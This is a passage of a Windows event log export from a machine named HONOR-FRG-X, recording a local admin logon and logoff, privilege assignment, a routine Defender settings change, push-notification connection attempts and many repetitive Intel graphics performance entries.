Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0xB3E143\n\tLinked Logon ID:\t\t0xB3E17C\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0xb88\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\n\nNetwork Information:\n\tWorkstation Name:\tHONOR-FRG-X\n\tSource Network Address:\t127.0.0.1\n\tSource Port:\t\t0\n\nDetailed Authentication Information:\n\tLogon Process:\t\tUser32 \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:51:16.888\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t2\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tNo\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0xB3E17C\n\tLinked Logon ID:\t\t0xB3E143\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0xb88\n\tProcess Name:\t\tC:\\Windows\\System32\\svchost.exe\n\nNetwork Information:\n\tWorkstation Name:\tHONOR-FRG-X\n\tSource Network Address:\t127.0.0.1\n\tSource Port:\t\t0\n\nDetailed Authentication Information:\n\tLogon Process:\t\tUser32 \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:51:16.888\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0xB3E143\n\nPrivileges:\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:51:16.888\t4634\t\"An account was logged off.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0xB3E17C\n\nLogon Type:\t\t\t2\n\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:51:16.889\t4634\t\"An account was logged off.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-21-3712849175-2219398513-4278588552-1006\n\tAccount Name:\t\tadmin\n\tAccount Domain:\t\tHONOR-FRG-X\n\tLogon ID:\t\t0xB3E143\n\nLogon Type:\t\t\t2\n\nThis event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:51:16.892\t811\tThe winlogon notification subscriber  began handling the notification event (5).\tInformation\tMicrosoft-Windows-Winlogon/Operational\tMicrosoft-Windows-Winlogon\n05.09.2026 08:51:16.893\t812\tThe winlogon notification subscriber  finished handling the notification event (5).\tInformation\tMicrosoft-Windows-Winlogon/Operational\tMicrosoft-Windows-Winlogon\n05.09.2026 08:51:16.893\t811\tThe winlogon notification subscriber  began handling the notification event (5).\tInformation\tMicrosoft-Windows-Winlogon/Operational\tMicrosoft-Windows-Winlogon\n05.09.2026 08:51:16.896\t812\tThe winlogon notification subscriber  finished handling the notification event (5).\tInformation\tMicrosoft-Windows-Winlogon/Operational\tMicrosoft-Windows-Winlogon\n05.09.2026 08:51:16.897\t59\tRpcGetCurrentSessionCapabilities from C:\\WINDOWS\\system32\\svchost.exe -k netsvcs -s CertPropSvc( #0x0/0x8392 )\tInformation\tMicrosoft-Windows-TerminalServices-LocalSessionManager/Operational\tMicrosoft-Windows-TerminalServices-LocalSessionManager\n05.09.2026 08:51:16.908\t2\t{\"category\":\"Navigation\",\"level\":\"Information\",\"message\":\"Reload/unload page\",\"parameters\":{\"caller\":\"OnSessionStateChanged\",\"sessionState\":\"Active\",\"mainWindowVisible\":\"False\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:17.109\t1402\tData Store Cache secondary data reconciliation start.\tInformation\tMicrosoft-Windows-ShellCommon-StartLayoutPopulation/Operational\tMicrosoft-Windows-ShellCommon-StartLayoutPopulation\n05.09.2026 08:51:17.113\t1403\tData Store Cache secondary data reconciliation end.\tInformation\tMicrosoft-Windows-ShellCommon-StartLayoutPopulation/Operational\tMicrosoft-Windows-ShellCommon-StartLayoutPopulation\n05.09.2026 08:51:17.137\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:17.309\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:17.334\t177\tReceived console locked notification\tInformation\tMicrosoft-Windows-Audio/Operational\tMicrosoft-Windows-Audio\n05.09.2026 08:51:17.400\t5007\t\"\u0410\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043d\u0430\u044f \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0430 Microsoft Defender Configuration has changed. If this is an unexpected event you should review the settings as this may be the result of malware.\n \tOld value: HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\UX Configuration\\ToastOrSsoTrigger = 0x0\n \tNew value: HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\UX Configuration\\ToastOrSsoTrigger = 0x1\"\tInformation\tMicrosoft-Windows-Windows Defender/Operational\tMicrosoft-Windows-Windows Defender\n05.09.2026 08:51:17.484\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:17.659\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:17.937\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:18.111\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:18.293\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:18.466\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:18.642\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:18.813\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:18.993\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:19.171\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:19.342\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:19.617\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:19.822\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:20.046\t3\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Warning\",\"message\":\"RefreshGpuUtilizationList semaphore timeout - previous refresh may be stuck\"}\tWarning\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:20.124\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:20.324\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:20.512\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:20.697\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:20.984\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:21.188\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:21.376\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:21.564\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:21.771\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:21.962\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:22.149\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:22.442\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:22.629\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:22.830\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:23.013\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:23.210\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:23.394\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:23.593\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:23.794\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:23.976\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:24.257\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:24.553\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:24.740\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:24.927\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:25.130\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:25.320\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:25.356\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:51:25.356\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:51:25.376\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:51:25.376\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:51:25.523\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:25.708\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:25.910\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:26.205\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:26.399\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:26.584\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:26.770\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:26.977\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:27.143\t171\tThe reader was created successfully for app package Microsoft.SecHealthUI_1000.29628.1000.0_x64__8wekyb3d8bbwe.\tInformation\tMicrosoft-Windows-AppxPackaging/Operational\tMicrosoft-Windows-AppxPackagingOM\n05.09.2026 08:51:27.272\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:27.465\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:27.658\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:27.947\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:28.236\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:28.430\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:28.629\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:28.816\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:29.001\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:29.193\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:29.376\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:29.555\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:29.844\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:30.060\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:30.234\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:30.421\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:30.609\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:30.809\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:31.001\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:51:31.178\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked 